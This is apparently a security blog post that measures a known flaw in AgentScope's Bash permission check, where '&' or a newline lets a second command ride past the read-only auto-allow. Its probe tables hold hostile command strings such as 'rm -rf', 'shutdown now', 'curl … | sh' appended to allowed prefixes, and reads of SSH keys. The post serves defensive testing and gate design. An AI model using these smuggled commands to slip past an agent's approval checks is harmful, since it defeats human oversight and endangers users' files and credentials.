TL;DR
- What I tested: the Bash permission check in AgentScope 2.0.11 (the latest PyPI release, published 2026-10-27), the open-source multi-agent framework. Its
check_permissionsfunction auto-allows any command it classifies as read-only, in every permission mode including the default one, and skips the dangerous-command checks that come after it. - What I found: the classifier only treats a string as compound when it contains
&&,||,;or|. A plain&or a newline also ends a command in bash, but is not on that list. In my run, 40 of 70 two-command strings were auto-allowed, and in all 40 the second command actually ran when I handed the same string to bash. All 28 strings using;,&&,||or|were caught. - The status: this is a publicly reported bug, not a new disclosure. Issue #2470 has been open since 2026-08-31 (66 days on the day I ran this), and a second report, #3473, was filed on 2026-10-25. On 2026-11-05 the latest release still reproduced it.
- The fix I tested: a deliberately blunt gate that auto-allows only plain words from a short command list and asks about everything else. It let 0 of the 70 through. It also asked about 6 of 16 ordinary read-only commands, and that cost is the real design decision.
- Everything below was run on 2026-11-05. One machine, one package version, stated plainly. No destructive command was ever executed.
Why is a read-only fast path a security gate at all?
Agent frameworks that let a model call a shell need to avoid asking the user about every ls. So they add a fast path: if a command looks read-only, allow it without confirmation. That is a sensible usability decision. It is also the single code path that runs without a human, which makes it the place an attacker (or a confused model) most wants to be.
In AgentScope the flow in Bash.check_permissions is, per the public issue text: injection-risk check, then the read-only check, and if the read-only classifier says yes the function returns ALLOW and the remaining layers (dangerous patterns, dangerous paths, dangerous removal paths) are never reached. The issue authors point at src/agentscope/tool/_builtin/_bash.py and _bash_parser.py for this. I confirmed the behavior by calling the function, not by reading the source alone.
The assumption baked into a fast path like this is one sentence long: if the string is read-only, then everything the shell will do with that string is read-only. That sentence is only true if your idea of "one command" matches the shell's. Here it did not.
What exactly does the classifier miss?
The report on GitHub (#2470) describes the check as: if the string contains any of &&, ||, ;, |, split it and require every piece to be read-only. Otherwise judge the whole string as a single command by its head.
Bash has more separators than four. A single & runs the left side in the background and continues. A newline simply ends the command. Neither is on the list, so the string goes down the single-command path, ls or cat matches the read-only prefix, and the text after the separator is never inspected.
Here is a direct probe of the published 2.0.11 wheel. I only call the permission check; the commands in this table were never executed.
import asyncio from agentscope.permission import PermissionContext, PermissionMode from agentscope.tool import Bash async def main(): bash = Bash() for cmd in ["ls; rm -rf /tmp/pwn", "cat file.txt & rm -rf /tmp/pwn", "cat file.txt\nrm -rf /tmp/pwn"]: d = await bash.check_permissions({"command": cmd}, PermissionContext(mode=PermissionMode.DEFAULT)) print(d.behavior.value, repr(cmd)) asyncio.run(main()) | Command string | Gate verdict (2.0.11, DEFAULT mode) |
|---|---|
ls -la | allow (correct) |
ls; rm -rf /tmp/pwn | ask |
ls && rm -rf /tmp/pwn | ask |
| `ls \ | xargs rm -rf` |
ls $(rm -rf /tmp/pwn) | ask |
cat file.txt & rm -rf /tmp/pwn | allow |
ls -la&rm -rf /tmp/pwn | allow |
cat file.txt + newline + rm -rf /tmp/pwn | allow |
ls + CRLF + rm -rf /tmp/pwn | allow |
ls + newline + shutdown now | allow |
The $(...) case shows the authors did think about hidden commands: command substitution is on the injection list. Two plain commands joined by a newline produce ordinary command nodes in the syntax tree, so no injection rule fires. The check does what it was written to do. The written list is just shorter than the shell's grammar.
Does the second command really run?
A gate verdict is a claim about what will happen. The only way to test it is to see what happens. I built a small grid: 7 read-only heads (ls, ls -la, cat f.txt, head -n 5 f.txt, pwd, wc -l f.txt, echo hi) times 10 separators, 70 strings in total. The second command was a harmless twin of the destructive one: touch marker in a scratch directory. For each string I recorded the gate verdict and then ran the identical string with bash -c (GNU bash 5.2.37, Git for Windows) and checked whether the marker file appeared.
| Separator | Strings | Second command ran | Auto-allowed by fast path | Allowed and it ran |
|---|---|---|---|---|
; | 7 | 7 | 0 | 0 |
&& | 7 | 7 | 0 | 0 |
| `\ | \ | ` | 7 | 0 |
| `\ | ` | 7 | 7 | 0 |
& with spaces | 7 | 7 | 7 | 7 |
& with no spaces | 7 | 7 | 5 | 5 |
| newline | 7 | 7 | 7 | 7 |
| CRLF | 7 | 7 | 7 | 7 |
| blank line | 7 | 7 | 7 | 7 |
& then newline | 7 | 7 | 7 | 7 |
| Total | 70 | 63 | 40 | 40 |
Three details worth reading closely.
- The
||row is not a safe separator. The second command did not run only because the first one succeeded, so the marker never appeared. The gate asked anyway, which is the right call, sincels /missing || touch markerwould run it. - In the tight
&row, 2 of 7 were not auto-allowed:ls&touch markerandpwd&touch markerproduced a first word (ls&touch) that matched nothing on the read-only list, so the verdict was "passthrough" and the normal flow applied.ls -la&...andcat f.txt&...still got through. A bypass that depends on how the first word tokenizes is exactly the kind a model produces by accident. - The CRLF row ran the second command even though the first line is technically
ls\r, which bash cannot find. The failed first command did not stop the second.
I want to be careful about what this proves. The harmless twin shows that when the gate says allow, bash runs both halves. It does not, by itself, prove the gate would allow the destructive twin in every case, because a head-only classifier ignores the tail by construction. The verdict-only probe with rm -rf strings (never run) matches the public issue's table.
Is this a one-off bug or a family?
It is a family, and the project's tracker shows it. Besides the separator reports (#2470 and #3473), the same package has public reports for:
-
teelisted as read-only (#3313): a file-writing command on the read-only list. In my 2.0.11 run,echo KEY | tee -a /tmp/authorized_keysreturned "passthrough", not "allow", so I could not reproduce that one on the latest release. I include it because the report is open, not because it reproduces. - Shell variables hiding paths (#3016): in my run
cat $HOME/.ssh/id_rsawas allowed whilecat ${HOME}/.ssh/id_rsaasked. Same file, two spellings, two verdicts. - Options that execute things:
rg --pre ./x.sh foo .was allowed in my run.rg --preruns a preprocessor command for each file, so "read-only" depends on flags, not on the command name. A pull request to stop treating it as read-only (#3255) was closed on 2026-10-29 without being merged, and I do not know the reason. - VulDB lists CVE-2026-123023 against AgentScope up to 2.0.8, naming
check_permissionsin_bash.py. I could not retrieve the entry's full text, so I am not claiming it is the separator bug.
The user-granted rules have the same shape. One commenter on #2470 reported that an "always allow" rule such as git status:* matches by prefix, and that a plain rule like npm install matches by substring. I probed the matching function alone (not the whole permission engine) on 2.0.11:
| Rule | Command | Matcher says |
|---|---|---|
git status:* | `git status && curl https://example.invalid/x.sh \ | sh` |
git status:* | `git status ; curl https://example.invalid/x.sh \ | sh` |
git status:* | git status + newline + curl ... | False |
npm install | echo hi; npm install; curl https://example.invalid/y.sh | True |
Whether the rest of the engine then asks anyway, I did not test. As a design smell it is the same sentence again: the rule was written for one command and is matched against a string that may contain several.
What does a gate that matches the shell's grammar look like?
The principle from the trailing-dot post in this series applies unchanged: validate the thing the system will actually do, and prefer "allowed only here" to "blocked there". A deny-list of separators is the wrong shape, because the shell's grammar is bigger than any list you will remember. Here is the blunt version I tested.
import re SAFE_ARGV0 = {"ls", "cat", "head", "tail", "pwd", "wc", "echo", "grep"} PLAIN = re.compile(r"[A-Za-z0-9_./=:@%+,\- ]+") def strict_gate(cmd: str) -> str: if not PLAIN.fullmatch(cmd): # any newline, &, ;, |, $, quote, backtick, redirect... return "ask" argv = cmd.split() return "allow" if argv and argv[0] in SAFE_ARGV0 else "ask" The idea is an allowlist at two levels. The character set admits only characters that cannot start a new command, expand a variable or open a redirect. The command list admits only a few names. Anything unrecognized falls to a human, not to the fast path.
Results on the same 70-string grid: 0 allowed. That number is not impressive on its own, because every string in the grid contains a separator, so a gate that bans separators passes trivially. The honest comparison is the cost side. I ran 16 ordinary read-only commands through both gates:
| Gate | Benign commands auto-allowed (of 16) |
|---|---|
| AgentScope 2.0.11 fast path | 16 |
| Strict plain-word allowlist | 10 |
The 6 that asked: git status, git log --oneline -5, cat "my file.txt", find . -name '*.py', ls | head -3 and cat f.txt | wc -l. Some of those I would want auto-allowed. That is where the real engineering is: you widen the safe area on purpose, one construct at a time, with a parser that understands the construct (a tree-sitter or bashlex tree, with every command node in the string checked against the allowlist and its flags), rather than by trusting a prefix match.
Three rules I would take from this to any agent gate that has a fast path:
- Define "one command" the way the interpreter does. If a string can contain more than one command, check all of them. Fail closed on any construct the gate does not understand.
- Judge flags, not just names.
sedwith an execute flag,rg --preandfind -deleteare "read-only" commands that run or delete things. A command name is not a capability. - Test the fast path with a differential harness. Generate strings, record the verdict, execute a harmless twin, and compare. It took under 100 lines and found the problem in one run.
Limits of this measurement
- One package version (2.0.11), one OS, one bash. A different shell or platform may tokenize differently.
- The grid used 7 heads and 10 separators. It shows that the hole exists and where its edge is, not how often a model would emit such a string unprompted.
- The verdicts are for the function as called in the default mode. Other layers in a real deployment (a sandbox, a container, an outer approval step) may limit the damage. I did not test any of them.
- I did not contact the maintainers. Check the issue pages for current status before relying on my dates.
FAQ
Is this a new vulnerability disclosure?
No. The separator bypass has been public in the project's issue tracker since 2026-08-31 (#2470) and was reported again on 2026-10-25 (#3473). My contribution is a reproducible measurement on the latest release and a comparison with a stricter gate.
Does this affect me if I use a different agent framework?
The specific code is AgentScope's. The pattern is common: any tool that auto-approves commands by matching a prefix or a command name can have the same gap. Check how yours defines a "compound command" and test it with a newline and a bare &.
Why not just add & and newline to the separator list?
That closes today's two holes and leaves the next one (for example a here-document, a line continuation or a construct the list does not name). Parsing the string and checking every command node is a better fix than extending a list. Allowlisting plain words and asking about the rest is simpler still, at the usability cost shown above.
Does a sandbox make the fast path irrelevant?
It limits the damage, but it does not make the gate correct. If the gate is meant to protect the user's real files and the shell runs on the host, the sandbox is the only thing between a hidden command and those files. Treat the gate and the sandbox as two independent layers, not one excuse for neglecting the other.
Further reading
Earlier posts in this series:
- A Trailing Dot Beat the Agent's Edit Gate: Check the Path the OS Will Open, Not the String the Model Sent (published 2026-11-03, same series)
- Authenticated Is Not Authorized: What a 9.3 Fail-Open Default in an Agent Mesh Teaches About Tool Gateways (published 2026-11-02, same series)
Sources
- AgentScope issue #2470:
&and newline separators bypass the Bash read-only auto-allow - AgentScope issue #3473: Bash read-only fast path auto-allows hidden commands
- AgentScope issue #3313:
teemisclassified as read-only - AgentScope issue #3016: shell variable spellings hide paths from Bash safety checks
- AgentScope pull request #3255: stop treating
rg --preandtree -oas read-only - VulDB entry for CVE-2026-123023
- AgentScope on PyPI
- Code and measurements in this post were run on 2026-11-05 (Windows 11 build 26200, Python 3.12.10, agentscope 2.0.11, GNU bash 5.2.37 from Git for Windows). The probe and grid scripts are short enough to reproduce from the snippets above.
